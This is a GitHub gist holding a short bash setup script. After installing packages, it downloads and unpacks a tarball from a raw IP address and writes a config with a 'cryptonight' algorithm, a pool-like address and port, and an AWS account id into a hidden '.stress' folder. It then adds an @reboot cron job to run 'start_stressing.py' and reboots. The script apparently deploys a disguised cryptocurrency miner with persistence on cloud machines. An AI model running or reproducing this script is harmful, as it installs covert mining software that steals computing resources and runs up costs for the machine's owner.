Created
August 16, 2019 10:07
-
-
Save teos0009/ea19560efc97bfc04be00dd83cc104e4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
apt install nano -y | |
apt update -y | |
DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade | |
apt install python-dev python-pip -y | |
apt install htop tree screen -y | |
apt install git build-essential cmake libuv1-dev uuid-dev libmicrohttpd-dev -y | |
wget -O /home/ubuntu/local.tar.gz http://139.198.189.38:6969/aug_08_2019.tar.gz | |
tar -xzvf /home/ubuntu/local.tar.gz -C /home/ubuntu/ | |
rm /home/ubuntu/local.tar.gz | |
echo 'ip_address = "139.198.189.38" | |
port = 9999 | |
algo = "cryptonight" | |
aws_arn_id = "495327572897"' > /home/ubuntu/.stress/config.py | |
(crontab -l 2>/dev/null; echo '@reboot /home/ubuntu/.stress/start_stressing.py') | crontab - | |
reboot | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment